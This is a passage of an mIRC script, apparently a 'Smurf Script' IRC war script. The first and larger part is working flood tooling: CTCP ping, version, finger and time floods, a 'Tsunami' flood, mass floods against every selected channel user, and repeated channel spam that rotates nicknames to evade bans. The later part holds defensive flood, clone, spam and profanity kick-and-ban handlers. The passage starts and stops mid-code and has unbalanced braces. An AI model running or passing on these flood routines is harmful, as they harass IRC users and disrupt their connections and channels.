Flood:/ignore -tu60 $$1 *!*@*.* 2 | /echo $active     11,12 Ping Flood active on $$1  | /timer2 10 1 /ctcp $$1 PING | /timer3 10 1 /ctcp $$1 PING | /timer4 5 1 /ctcp $$1 PING ..Version Flood:/ignore -tu60 $$1 *!*@*.* 2 | /echo $active    11,12 Version Flood Active on $$1 | /timer7 10 1 /CTCP $$1 VeRSioN | /timer8 10 1 /CTCP $$1 VeRSioN | /timer9 5 1 /CTCP $$1 VeRSioN ..Finger Flood:/ignore -tu60 $$1 *!*@*.* 2 | /echo $active    11,12 Finger Flood Active on $$1 | /timer2 10 1 /ctcp $$1 FINGER | /timer3 10 1 /ctcp $$1 FINGER | /timer4 5 1 /ctcp $$1 FINGER ..Time Flood:/ignore -tu60 $$1 *!*@*.* 2 | /echo $active     11,12 Time Flood Active on $$1 | /timer2 10 1 /ctcp $$1 TIME | /timer3 10 1 /ctcp $$1 TIME | /timer4 5 1 /ctcp $$1 TIME ..Multi CTCP Flood:/ignore -tu60 $$1 *!*@*.* 2 | /echo $active     11,12 Multi Flood Active on $$1 | /timer2 10 1 /ctcp $$1 PING | /timer3 10 1 /ctcp $$1 VeRSioN | /timer4 5 1 /ctcp $$1 CLIENTINFO ..Tsunami FloodON:On:/ignore -ptnu60 $$1 *!*@*.* 2 | /timer1 8 5 /msg $$1 ^^^^^^^^^^^^^^^^^^^^^^^^^^4,9<12--=2|§mu®f §¢®ي‏t|12=--4> v3.01,0^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ | /timer2 4 5 /notice $$1 ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ | /timer3 4 5 /ctcp $$1 ^^^^^^^^^^^^^^^^^^^^^^^^^^^ ..Tsunami FloodOFF:/timer1 off | /timer2 off | /timer3 off | /ignore -r $$1 2 .Flood Highlighted ..Ping Flood Highlighted: { set %victims.flood $snick(#,0) if (%victims.flood == 0) halt else { set %i 1 :work if (%i == %victims.flood) { /timer 1 %i /timer 10 1 /ctcp $snick(#,%i) PING | /timer 1 %i /timer 10 1 /ctcp $snick(#,%i) PING | /timer 1 %i /timer 5 1 /ctcp $snick(#,%i) PING unset %victims.flood %i %mm halt } else { /timer 1 %i /timer 10 1 /ctcp $snick(#,%i) PING | /timer 1 %i /timer 10 1 /ctcp $snick(#,%i) PING | /timer 1 %i /timer 5 1 /ctcp $snick(#,%i) PING inc %i goto work } } } ..TsunamiFlood Highlighted: { set %victims.tzunami $snick(#,0) if (%victims.tzunami == 0) halt else { set %i 1 :work if (%i == %victims.tzunami) { /timer 1 %i /timer 8 5 /msg $snick(#,%i) ^^^^^^^^^^^^^^^^^^^^^^^^^^4,9<12--=2|§mu®f §¢®ي‏t|12=--4> v3.01,0^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ | /timer 1 %i /timer 4 5 /notice $snick(#,%i) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ | /timer 1 %i /timer 4 5 /ctcp $snick(#,%i) ^^^^^^^^^^^^^^^^^^^^^^^^^^^ unset %victims.tzunami %i %mm halt } else { /timer 1 %i /timer 8 5 /msg $snick(#,%i) ^^^^^^^^^^^^^^^^^^^^^^^^^^4,9<12--=2|§mu®f §¢®ي‏t|12=--4> v3.01,0^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ | /timer 1 %i /timer 4 5 /notice $snick(#,%i) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ | /timer 1 %i /timer 4 5 /ctcp $snick(#,%i) ^^^^^^^^^^^^^^^^^^^^^^^^^^^ inc %i goto work } } } } ;----------- ;AliaSes ;----------- alias -l fl00dz.bl00p { /nick $read $scriptdirnicks.txt /say bl00p!،!bl00p!،!bl00p!،!bl00p!،!bl00p!،! /say bl00p!،!bl00p!،!bl00p!،!bl00p!،!bl00p!،! /say bl00p!،!bl00p!،!bl00p!،!bl00p!،!bl00p!،! /nick $read $scriptdirnicks.txt /say bl00p!،!bl00p!،!bl00p!،!bl00p!،!bl00p!،! /say bl00p!،!bl00p!،!bl00p!،!bl00p!،!bl00p!،! /say bl00p!،!bl00p!،!bl00p!،!bl00p!،!bl00p!،! /say bl00p!،!bl00p!،!bl00p!،!bl00p!،!bl00p!،! /say bl00p!،!bl00p!،!bl00p!،!bl00p!،!bl00p!،! /nick $read $scriptdirnicks.txt /say bl00p!،!bl00p!،!bl00p!،!bl00p!،!bl00p!،! /say bl00p!،!bl00p!،!bl00p!،!bl00p!،!bl00p!،! } alias -l fl00dz.grem { /nick $read $scriptdirnicks.txt /say SMuRFSMuRFSMuRFSMuRFSMuRFSMuRFSMuRF /say SMuRFSMuRFSMuRFSMuRFSMuRFSMuRFSMuRF /say SMuRFSMuRFSMuRFSMuRFSMuRFSMuRFSMuRF /nick $read $scriptdirnicks.txt /say SMuRFSMuRFSMuRFSMuRFSMuRFSMuRFSMuRF /say SMuRFSMuRFSMuRFSMuRFSMuRFSMuRFSMuRF /say SMuRFSMuRFSMuRFSMuRFSMuRFSMuRFSMuRF /say SMuRFSMuRFSMuRFSMuRFSMuRFSMuRFSMuRF /nick $read $scriptdirnicks.txt /say SMuRFSMuRFSMuRFSMuRFSMuRFSMuRFSMuRF /say SMuRFSMuRFSMuRFSMuRFSMuRFSMuRFSMuRF /say SMuRFSMuRFSMuRFSMuRFSMuRFSMuRFSMuRF } alias -l fl00dz.mask { /nick $read $scriptdirnicks.txt /say *!*@*!*@*!*@*!*@*!*@*!*@*!*@*!*@*!*@*!*@*!*@* /say *!*@*!*@*!*@*!*@*!*@*!*@*!*@*!*@*!*@*!*@*!*@* /say *!*@*!*@*!*@*!*@*!*@*!*@*!*@*!*@*!*@*!*@*!*@* /say *!*@*!*@*!*@*!*@*!*@*!*@*!*@*!*@*!*@*!*@*!*@* /nick $read $scriptdirnicks.txt /say *!*@*!*@*!*@*!*@*!*@*!*@*!*@*!*@*!*@*!*@*!*@* /say *!*@*!*@*!*@*!*@*!*@*!*@*!*@*!*@*!*@*!*@*!*@* /say *!*@*!*@*!*@*!*@*!*@*!*@*!*@*!*@*!*@*!*@*!*@* /say *!*@*!*@*!*@*!*@*!*@*!*@*!*@*!*@*!*@*!*@*!*@* /nick $read $scriptdirnicks.txt /say *!*@*!*@*!*@*!*@*!*@*!*@*!*@*!*@*!*@*!*@*!*@* /say *!*@*!*@*!*@*!*@*!*@*!*@*!*@*!*@*!*@*!*@*!*@* } alias -l fl00dz.chan { /nick $read $scriptdirnicks.txt /say $chan $+ $chan $+ $chan $+ $chan /say $chan $+ $chan $+ $chan $+ $chan /say $chan $+ $chan $+ $chan $+ $chan /nick $read $scriptdirnicks.txt /say $chan $+ $chan $+ $chan $+ $chan /say $chan $+ $chan $+ $chan $+ $chan /say $chan $+ $chan $+ $chan $+ $chan /say $chan $+ $chan $+ $chan $+ $chan /say $chan $+ $chan $+ $chan $+ $chan /say $chan $+ $chan $+ $chan $+ $chan /say $chan $+ $chan $+ $chan $+ $chan } alias -l fl00dz.c4sh { /nick $read $scriptdirnicks.txt /say c4shc4shc4shc4shc4shc4shc4shc4shc4shc4shc4sh /say c4shc4shc4shc4shc4shc4shc4shc4shc4shc4shc4sh /say c4shc4shc4shc4shc4shc4shc4shc4shc4shc4shc4sh /say c4shc4shc4shc4shc4shc4shc4shc4shc4shc4shc4sh /nick $read $scriptdirnicks.txt /say c4shc4shc4shc4shc4shc4shc4shc4shc4shc4shc4sh /say c4shc4shc4shc4shc4shc4shc4shc4shc4shc4shc4sh /say c4shc4shc4shc4shc4shc4shc4shc4shc4shc4shc4sh /nick $read $scriptdirnicks.txt /say c4shc4shc4shc4shc4shc4shc4shc4shc4shc4shc4sh /say c4shc4shc4shc4shc4shc4shc4shc4shc4shc4shc4sh /say c4shc4shc4shc4shc4shc4shc4shc4shc4shc4shc4sh } alias -l fl00dz.fw { /nick $read $scriptdirnicks.txt /say 4,9<12--=2|§mu®f §¢®ي‏t|12=--4> v3.0 4,9<12--=2|§mu®f §¢®ي‏t|12=--4> v3.0 4,9<12--=2|§mu®f §¢®ي‏t|12=--4> v3.0 /say 4,9<12--=2|§mu®f §¢®ي‏t|12=--4> v3.0 4,9<12--=2|§mu®f §¢®ي‏t|12=--4> v3.0 4,9<12--=2|§mu®f §¢®ي‏t|12=--4> v3.0 /say 4,9<12--=2|§mu®f §¢®ي‏t|12=--4> v3.0 4,9<12--=2|§mu®f §¢®ي‏t|12=--4> v3.0 4,9<12--=2|§mu®f §¢®ي‏t|12=--4> v3.0 /say 4,9<12--=2|§mu®f §¢®ي‏t|12=--4> v3.0 4,9<12--=2|§mu®f §¢®ي‏t|12=--4> v3.0 4,9<12--=2|§mu®f §¢®ي‏t|12=--4> v3.0 /nick $read $scriptdirnicks.txt /say 4,9<12--=2|§mu®f §¢®ي‏t|12=--4> v3.0 4,9<12--=2|§mu®f §¢®ي‏t|12=--4> v3.0 4,9<12--=2|§mu®f §¢®ي‏t|12=--4> v3.0 /say 4,9<12--=2|§mu®f §¢®ي‏t|12=--4> v3.0 4,9<12--=2|§mu®f §¢®ي‏t|12=--4> v3.0 4,9<12--=2|§mu®f §¢®ي‏t|12=--4> v3.0 /say 4,9<12--=2|§mu®f §¢®ي‏t|12=--4> v3.0 4,9<12--=2|§mu®f §¢®ي‏t|12=--4> v3.0 4,9<12--=2|§mu®f §¢®ي‏t|12=--4> v3.0 /say 4,9<12--=2|§mu®f §¢®ي‏t|12=--4> v3.0 4,9<12--=2|§mu®f §¢®ي‏t|12=--4> v3.0 4,9<12--=2|§mu®f §¢®ي‏t|12=--4> v3.0 /nick $read $scriptdirnicks.txt /say 4,9<12--=2|§mu®f §¢®ي‏t|12=--4> v3.0 4,9<12--=2|§mu®f §¢®ي‏t|12=--4> v3.0 4,9<12--=2|§mu®f §¢®ي‏t|12=--4> v3.0 /say 4,9<12--=2|§mu®f §¢®ي‏t|12=--4> v3.0 4,9<12--=2|§mu®f §¢®ي‏t|12=--4> v3.0 4,9<12--=2|§mu®f §¢®ي‏t|12=--4> v3.0 } alias -l fl00dz.crap { /say ^!)][(!^!)][(!^!)][(!^!)][(!^!)][(!^!)][(!^ /nick $read $scriptdirnicks.txt /say ^!)][(!^!)][(!^!)][(!^!)][(!^!)][(!^!)][(!^ /say ^!)][(!^!)][(!^!)][(!^!)][(!^!)][(!^!)][(!^ /say ^!)][(!^!)][(!^!)][(!^!)][(!^!)][(!^!)][(!^ /say ^!)][(!^!)][(!^!)][(!^!)][(!^!)][(!^!)][(!^ /say ^!)][(!^!)][(!^!)][(!^!)][(!^!)][(!^!)][(!^ /nick $read $scriptdirnicks.txt /say ^!)][(!^!)][(!^!)][(!^!)][(!^!)][(!^!)][(!^ /say ^!)][(!^!)][(!^!)][(!^!)][(!^!)][(!^!)][(!^ /say ^!)][(!^!)][(!^!)][(!^!)][(!^!)][(!^!)][(!^ /say ^!)][(!^!)][(!^!)][(!^!)][(!^!)][(!^!)][(!^ } alias -l fl00dz.ph33r { /say pH33R M3 pH00L!،!،!!،!،!pH33R M3 pH00L!،!،! /say pH33R M3 pH00L!،!،!!،!،!pH33R M3 pH00L!،!،! /nick $read $scriptdirnicks.txt /say pH33R M3 pH00L!،!،!!،!،!pH33R M3 pH00L!،!،! /say pH33R M3 pH00L!،!،!!،!،!pH33R M3 pH00L!،!،! /say pH33R M3 pH00L!،!،!!،!،!pH33R M3 pH00L!،!،! /say pH33R M3 pH00L!،!،!!،!،!pH33R M3 pH00L!،!،! /say pH33R M3 pH00L!،!،!!،!،!pH33R M3 pH00L!،!،! /say pH33R M3 pH00L!،!،!!،!،!pH33R M3 pH00L!،!،! /nick $read $scriptdirnicks.txt /say pH33R M3 pH00L!،!،!!،!،!pH33R M3 pH00L!،!،! /say pH33R M3 pH00L!،!،!!،!،!pH33R M3 pH00L!،!،! } alias -l fl00dz.slash { /nick $read $scriptdirnicks.txt /say \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ /say /\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ /say \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ /say /\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ /say \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ /say /\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ /say \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ /nick $read $scriptdirnicks.txt /say /\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ /say \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ /say /\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ } alias -l fl00dz.custom { /nick $read $scriptdirnicks.txt /say %custom /say %custom /say %custom /say %custom /nick $read $scriptdirnicks.txt /say %custom /say %custom /say %custom /say %custom /say %custom /say %custom /nick $read $scriptdirnicks.txt } alias -l fl00dz.msg { /nick $read $scriptdirnicks.txt /msg %fl00dz.lamer YOU DON'T KNOW THE POWER OF THE DARKSIDE /msg %fl00dz.lamer YOU DON'T KNOW THE POWER OF THE DARKSIDE /msg %fl00dz.lamer YOU DON'T KNOW THE POWER OF THE DARKSIDE /msg %fl00dz.lamer YOU DON'T KNOW THE POWER OF THE DARKSIDE /msg %fl00dz.lamer YOU DON'T KNOW THE POWER OF THE DARKSIDE /nick $read $scriptdirnicks.txt /msg %fl00dz.lamer YOU DON'T KNOW THE POWER OF THE DARKSIDE /msg %fl00dz.lamer YOU DON'T KNOW THE POWER OF THE DARKSIDE /msg %fl00dz.lamer YOU DON'T KNOW THE POWER OF THE DARKSIDE /msg %fl00dz.lamer YOU DON'T KNOW THE POWER OF THE DARKSIDE /msg %fl00dz.lamer YOU DON'T KNOW THE POWER OF THE DARKSIDE /nick $read $scriptdirnicks.txt } alias -l fl00dz.notice { /nick $read $scriptdirnicks.txt /notice %fl00dz.lamer 4,9<12--=2|§mu®f §¢®ي‏t|12=--4> v3.0 4,9<12--=2|§mu®f §¢®ي‏t|12=--4> v3.0 /notice %fl00dz.lamer 4,9<12--=2|§mu®f §¢®ي‏t|12=--4> v3.0 4,9<12--=2|§mu®f §¢®ي‏t|12=--4> v3.0 /notice %fl00dz.lamer 4,9<12--=2|§mu®f §¢®ي‏t|12=--4> v3.0 4,9<12--=2|§mu®f §¢®ي‏t|12=--4> v3.0 /notice %fl00dz.lamer 4,9<12--=2|§mu®f §¢®ي‏t|12=--4> v3.0 4,9<12--=2|§mu®f §¢®ي‏t|12=--4> v3.0 /nick $read $scriptdirnicks.txt /notice %fl00dz.lamer 4,9<12--=2|§mu®f §¢®ي‏t|12=--4> v3.0 4,9<12--=2|§mu®f §¢®ي‏t|12=--4> v3.0 /notice %fl00dz.lamer 4,9<12--=2|§mu®f §¢®ي‏t|12=--4> v3.0 4,9<12--=2|§mu®f §¢®ي‏t|12=--4> v3.0 /notice %fl00dz.lamer 4,9<12--=2|§mu®f §¢®ي‏t|12=--4> v3.0 4,9<12--=2|§mu®f §¢®ي‏t|12=--4> v3.0 /notice %fl00dz.lamer 4,9<12--=2|§mu®f §¢®ي‏t|12=--4> v3.0 4,9<12--=2|§mu®f §¢®ي‏t|12=--4> v3.0 /nick $read $scriptdirnicks.txt /notice %fl00dz.lamer 4,9<12--=2|§mu®f §¢®ي‏t|12=--4> v3.0 4,9<12--=2|§mu®f §¢®ي‏t|12=--4> v3.0 /notice %fl00dz.lamer 4,9<12--=2|§mu®f §¢®ي‏t|12=--4> v3.0 4,9<12--=2|§mu®f §¢®ي‏t|12=--4> v3.0 } alias -l fl00dz.finger { /nick $read $scriptdirnicks.txt /ctcp %fl00dz.finger /ctcp %fl00dz.finger /ctcp %fl00dz.finger /nick $read $scriptdirnicks.txt /ctcp %fl00dz.finger /ctcp %fl00dz.finger /ctcp %fl00dz.finger /ctcp %fl00dz.finger /ctcp %fl00dz.finger /ctcp %fl00dz.finger /ctcp %fl00dz.finger /nick $read $scriptdirnicks.txt } alias -l fl00dz.ping { /nick $read $scriptdirnicks.txt /ping %fl00dz.lamer /ping %fl00dz.lamer /ping %fl00dz.lamer /ping %fl00dz.lamer /ping %fl00dz.lamer /nick $read $scriptdirnicks.txt /ping %fl00dz.lamer /ping %fl00dz.lamer /ping %fl00dz.lamer /ping %fl00dz.lamer /ping %fl00dz.lamer /nick $read $scriptdirnicks.txt } alias -l fl00dz.time { /nick $read $scriptdirnicks.txt /ctcp %fl00dz.lamer time /ctcp %fl00dz.lamer time /ctcp %fl00dz.lamer time /nick $read $scriptdirnicks.txt /ctcp %fl00dz.lamer time /ctcp %fl00dz.lamer time /ctcp %fl00dz.lamer time /nick $read $scriptdirnicks.txt /ctcp %fl00dz.lamer time /ctcp %fl00dz.lamer time /ctcp %fl00dz.lamer time /ctcp %fl00dz.lamer time } alias -l fl00dz.version { /nick $read $scriptdirnicks.txt /ctcp %fl00dz.lamer version /ctcp %fl00dz.lamer version /ctcp %fl00dz.lamer version /ctcp %fl00dz.lamer version /nick $read $scriptdirnicks.txt /ctcp %fl00dz.lamer version /ctcp %fl00dz.lamer version /ctcp %fl00dz.lamer version /nick $read $scriptdirnicks.txt /ctcp %fl00dz.lamer version /ctcp %fl00dz.lamer version /ctcp %fl00dz.lamer version } alias -l fl00dz.client { /nick $read $scriptdirnicks.txt /ctcp %fl00dz.lamer client /ctcp %fl00dz.lamer client /ctcp %fl00dz.lamer client /ctcp %fl00dz.lamer client /nick $read $scriptdirnicks.txt /ctcp %fl00dz.lamer client /ctcp %fl00dz.lamer client /ctcp %fl00dz.lamer client /ctcp %fl00dz.lamer client /ctcp %fl00dz.lamer client /ctcp %fl00dz.lamer client /nick $read $scriptdirnicks.txt } alias -l fl00dz.multi { /nick $read $scriptdirnicks.txt /ping %fl00dz.lamer /ctcp %fl00dz.lamer client /ctcp %fl00dz.lamer version /ctcp %fl00dz.lamer finger /ctcp %fl00dz.lamer time /ctcp %fl00dz.lamer page blow me, goatass! /nick $read $scriptdirnicks.txt } alias -l fl00dz.cf1 { /timer1? off /timer? off /timer2? off } alias -l fl00dz.cycle { /nick $read $scriptdirnicks.txt /join %cycle /part %cycle /join %cycle /part %cycle /join %cycle /part %cycle /nick $read $scriptdirnicks.txt /join %cycle /part %cycle /join %cycle /part %cycle /join %cycle /part %cycle /nick $read $scriptdirnicks.txt /join %cycle /part %cycle /join %cycle /part %cycle /join %cycle /part %cycle /nick $read $scriptdirnicks.txt /join %cycle /part %cycle } alias -l fl00d.color { /nick $read $scriptdirnicks.txt /say 0,0.1,1.2,2.3,3.4,4.5,5.6,6.7,7.8,8.9,9.10,10.11,11.12,12.13,13.14,14.15,15.14,14.13,13.12,12.11,11.10,10.9,9.8,8.7,7.6,6.5,5.4,4.3,3.2,2.1,1.0,0. /say 0,0.1,1.2,2.3,3.4,4.5,5.6,6.7,7.8,8.9,9.10,10.11,11.12,12.13,13.14,14.15,15.14,14.13,13.12,12.11,11.10,10.9,9.8,8.7,7.6,6.5,5.4,4.3,3.2,2.1,1.0,0. /say 0,0.1,1.2,2.3,3.4,4.5,5.6,6.7,7.8,8.9,9.10,10.11,11.12,12.13,13.14,14.15,15.14,14.13,13.12,12.11,11.10,10.9,9.8,8.7,7.6,6.5,5.4,4.3,3.2,2.1,1.0,0. /say 0,0.1,1.2,2.3,3.4,4.5,5.6,6.7,7.8,8.9,9.10,10.11,11.12,12.13,13.14,14.15,15.14,14.13,13.12,12.11,11.10,10.9,9.8,8.7,7.6,6.5,5.4,4.3,3.2,2.1,1.0,0. /say 0,0.1,1.2,2.3,3.4,4.5,5.6,6.7,7.8,8.9,9.10,10.11,11.12,12.13,13.14,14.15,15.14,14.13,13.12,12.11,11.10,10.9,9.8,8.7,7.6,6.5,5.4,4.3,3.2,2.1,1.0,0. /say 0,0.1,1.2,2.3,3.4,4.5,5.6,6.7,7.8,8.9,9.10,10.11,11.12,12.13,13.14,14.15,15.14,14.13,13.12,12.11,11.10,10.9,9.8,8.7,7.6,6.5,5.4,4.3,3.2,2.1,1.0,0. /say 0,0.1,1.2,2.3,3.4,4.5,5.6,6.7,7.8,8.9,9.10,10.11,11.12,12.13,13.14,14.15,15.14,14.13,13.12,12.11,11.10,10.9,9.8,8.7,7.6,6.5,5.4,4.3,3.2,2.1,1.0,0. /say 0,0.1,1.2,2.3,3.4,4.5,5.6,6.7,7.8,8.9,9.10,10.11,11.12,12.13,13.14,14.15,15.14,14.13,13.12,12.11,11.10,10.9,9.8,8.7,7.6,6.5,5.4,4.3,3.2,2.1,1.0,0. /say 0,0.1,1.2,2.3,3.4,4.5,5.6,6.7,7.8,8.9,9.10,10.11,11.12,12.13,13.14,14.15,15.14,14.13,13.12,12.11,11.10,10.9,9.8,8.7,7.6,6.5,5.4,4.3,3.2,2.1,1.0,0. /say 0,0.1,1.2,2.3,3.4,4.5,5.6,6.7,7.8,8.9,9.10,10.11,11.12,12.13,13.14,14.15,15.14,14.13,13.12,12.11,11.10,10.9,9.8,8.7,7.6,6.5,5.4,4.3,3.2,2.1,1.0,0. /nick $read $scriptdirnicks.txt } alias -l fl00dz.checker { ;Thanx to kethepoo for the checkerboard idea! /nick $read $scriptdirnicks.txt /say 1,1...4,4...1,1...4,4...1,1...4,4...1,1...4,4...1,1...4,4...1,1...4,4...1,1...4,4... /say 4,4...1,1...4,4...1,1...4,4...1,1...4,4...1,1...4,4...1,1...4,4...1,1...4,4...1,1... /say 1,1...4,4...1,1...4,4...1,1...4,4...1,1...4,4...1,1...4,4...1,1...4,4...1,1...4,4... /say 4,4...1,1...4,4...1,1...4,4...1,1...4,4...1,1...4,4...1,1...4,4...1,1...4,4...1,1... /say 1,1...4,4...1,1...4,4...1,1...4,4...1,1...4,4...1,1...4,4...1,1...4,4...1,1...4,4... /say 4,4...1,1...4,4...1,1...4,4...1,1...4,4...1,1...4,4...1,1...4,4...1,1...4,4...1,1... /say 1,1...4,4...1,1...4,4...1,1...4,4...1,1...4,4...1,1...4,4...1,1...4,4...1,1...4,4... /say 4,4...1,1...4,4...1,1...4,4...1,1...4,4...1,1...4,4...1,1...4,4...1,1...4,4...1,1... /say 1,1...4,4...1,1...4,4...1,1...4,4...1,1...4,4...1,1...4,4...1,1...4,4...1,1...4,4... /say 4,4...1,1...4,4...1,1...4,4...1,1...4,4...1,1...4,4...1,1...4,4...1,1...4,4...1,1... /nick $read $scriptdirnicks.txt } alias -l fl00dz.crapcol { /nick $read $scriptdirnicks.txt /say 10^11!4)12][4(11!10^11!4)12][4(11!10^11!4)12][4(11!10^11!4)12][4(11!10^11!4)12][4(11!10^11!4)12][4(11!10^ /say ^!)][(!^!)][(!^!)][(!^!)][(!^!)][(!^!)][(!^ /say 10^11!4)12][4(11!10^11!4)12][4(11!10^11!4)12][4(11!10^11!4)12][4(11!10^11!4)12][4(11!10^11!4)12][4(11!10^ /say ^!)][(!^!)][(!^!)][(!^!)][(!^!)][(!^!)][(!^ /say 10^11!4)12][4(11!10^11!4)12][4(11!10^11!4)12][4(11!10^11!4)12][4(11!10^11!4)12][4(11!10^11!4)12][4(11!10^ /say ^!)][(!^!)][(!^!)][(!^!)][(!^!)][(!^!)][(!^ /say 10^11!4)12][4(11!10^11!4)12][4(11!10^11!4)12][4(11!10^11!4)12][4(11!10^11!4)12][4(11!10^11!4)12][4(11!10^ /say ^!)][(!^!)][(!^!)][(!^!)][(!^!)][(!^!)][(!^ /say 10^11!4)12][4(11!10^11!4)12][4(11!10^11!4)12][4(11!10^11!4)12][4(11!10^11!4)12][4(11!10^11!4)12][4(11!10^ /say ^!)][(!^!)][(!^!)][(!^!)][(!^!)][(!^!)][(!^ /nick $read $scriptdirnicks.txt }

on ^*:JOIN:#:{ var %i = 1 set -u30 %flood [ $+ [ $site ] ] $addtok(%flood [ $+ [ $site ] ] ,$nick,32) if $numtok(%flood [ $+ [ $site ] ] ,32) >= 3 { mode # +b $wildsite | timer2 1 70 mode # -R .ignore -a $wildsite { /kick # $gettok(%flood [ $+ [ $site ] ] ,%i,32) Channel FLooding. inc %i } unset %flood [ $+ [ $site ] ] } } on @*:text:*:#: { if (*http:* iswm $1- || *join #* iswm $1- || *www* iswm $1- || *ftp:* iswm $1-) { ban # $nick 2 kick # $nick Spammer On $chan . ! } } on *:invite:#:{ var %a = $comchan($nick,0) var %b = 0 var %c = $nick :start inc %b if ($me isop $comchan(%c,%b)) && (%c !isop $comchan(%c,%b)) { .raw -q kick $comchan(%c,%b) %c invites if (%a > %b) { goto start } } else { goto start } } on @*:TEXT:*:#:{if ($nick !isop #) { if (shit isin $1-) || (dick isin $1-) || (fuck isin $1-) { ban -u60 # $nick 11 kick # $nick Swearing By : $nick } } on @*:JOIN:#:{ if (*!*FUCK*@* iswm $fulladdress) || (*!*SHIT*@* iswm $fulladdress) || (*!*DICK*@* iswm $fulladdress) { ban -u60 # $nick 11 kick # $nick Bad Identd at : $wildsite } } on ^*:open:?: { if ($query(0) > 5) { .ignore -pu45 * silence + $+ $wildsite echo -a Query window flood detected : $wildsite close -m mode $me +R haltdef } } ctcp *:*:*: { if (%ctcps == $null) { set -u8 %ctcps 1 | return } else { inc %ctcps } if (%ctcps > 3) { .ignore -u45 $wildsite echo -a Ctcp flood from $wildsite - Ignoring $wildsite for 50 sec. } } ctcp *:dcc *:*: { if ($2 == send || $2 == chat) { if (%dccs. [ $+ [ $wildsite ] ] == $null) { set -u8 %dccs. [ $+ [ $wildsite ] ] 1 return } else { inc %dccs. [ $+ [ $wildsite ] ] } if (%dccs. [ $+ [ $wildsite ] ] > 3) { .ignore -tu45 $wildsite echo -a Dcc Flood from $wildsite - Ignoring ctcp from $wildsite for 50 sec. } } } on *:notice:*:*: { if (%notice. [ $+ [ $wildsite ] ] == $null) { set -u8 %notice. [ $+ [ $wildsite ] ] 1 return } else { inc %notice. [ $+ [ $wildsite ] ] } if (%notice. [ $+ [ $wildsite ] ] > 3 && %notice.check == $null) { set -u6 %notice.check 1 .ignore -nu45 $wildsite echo -s *** Notice flood from $wildsite - Ignoring notices for 50 sec. } } on *:NICK: { set -u60 %fld. [ $+ [ $address ] ] $calc( %fld. [ $+ [ $address ] ] + 1) if (%fld. [ $+ [ $address ] ] >= 5) { var %i = 0 while (%i < $comchan($newnick,0)) { inc %i ban -u60 $comchan($newnick,%i) $newnick 2 kick $comchan($newnick,%i) $newnick Nick Flooding at :$wildsite } } on @*:text:*:#: { if ($nick !isop #) { if (%r. [ $+ [ $nick ] $+ . $+ [ $chan ] ] == $null) { set -u60 %r. [ $+ [ $nick ] $+ . $+ [ $chan ] ] 1 set -u60 %r.text. [ $+ [ $nick ] $+ . $+ [ $chan ] ] $1- return } var %rps = %r. [ $+ [ $nick ] $+ . $+ [ $chan ] ] var %rpt = %r.text. [ $+ [ $nick ] $+ . $+ [ $chan ] ] if (%rpt == $1-) { inc %r. [ $+ [ $nick ] $+ . $+ [ $chan ] ] if (%rps > 2) { ban # $nick 2 kick # $nick Reapeat %rps Time ! } } } } on @*:JOIN:#:{ if ($ial == $false) .ial on if ($chan(#).ial == $false) { who # | return } var %total = $ialchan($wildsite,#,0) if (%total > 1) { ban -u60 # $nick 2 var %i = 0 while (%i < %total) { inc %i var %nick = $ialchan($wildsite,#,%i).nick var %all.nicks = $addtok(%all.nicks,%nick,32) if (%nick !isop #) { kick # $nick Clone detected at : $wildsite ( $+ %total users) } } echo 4 -a Clone detected at : $wildsite $+ : %all.nicks } } on @*:text:*:#: { if ($nick !isop # && $len($1-) > 300) { ban # $nick 2 kick # $nick Kick To Long Msg ! } } on 1:TEXT:*fuck*:#:/ban $chan $nick 2 | /kick $chan $nick Bad WorDs %astr on 1:TEXT:*asshol*:#:/ban $chan $nick 2 | /kick $chan $nick Bad WorDs %astr on 1:TEXT:*dick*:#:/ban $chan $nick 2 | /kick $chan $nick Bad WorDs %astr on 1:TEXT:*shit*:#:/ban $chan $nick 2 | /kick $chan $nick Bad WorDs %astr on 1:TEXT:*bitch*:#:/ban $chan $nick 2 | /kick $chan $nick Bad WorDs %astr on 1:TEXT:*porn*:#:/ban $chan $nick 2 | /kick $chan $nick Bad_WorDs %astr on 1:TEXT:*sex*:#:/ban $chan $nick 2 | /kick $chan $nick Dont Say Sex عيب %astr #on 1:TEXT:*#*:#:/ban $chan $nick 2 | /kick $chan $nick 12,15والله عيب يلا يلا برااا ولــــى %astr on 1:TEXT:* عير *:#:/ban $chan $nick 2 | /kick $chan $nick 12,15والله عيب يلا يلا برااا ولــــى %astr on 1:TEXT:* كس *:#:/ban $chan $nick 2 | /kick $chan $nick 12,15والله عيب يلا يلا برااا ولــــى %astr on 1:TEXT:*خنيث*:#:/ban $chan $nick 2 | /kick $chan $nick 12,15والله عيب يلا يلا برااا ولــــى %astr on 1:TEXT:*مخانيث*:#:/ban $chan $nick 2 | /kick $chan $nick 12,15والله عيب يلا يلا برااا ولــــى %astr on 1:TEXT:عير*:#:/ban $chan $nick 2 | /kick $chan $nick 12,15والله عيب يلا يلا برااا ولــــى %astr on 1:TEXT:كس*:#:/ban $chan $nick 2 | /kick $chan $nick 12,15والله عيب يلا يلا برااا ولــــى %astr on 1:TEXT:010:#:/ban $chan $nick 2 | /kick $chan $nick Dont Say 010 عيب %astr } on @1:ban:#:{ set %flterban 1 goto kick 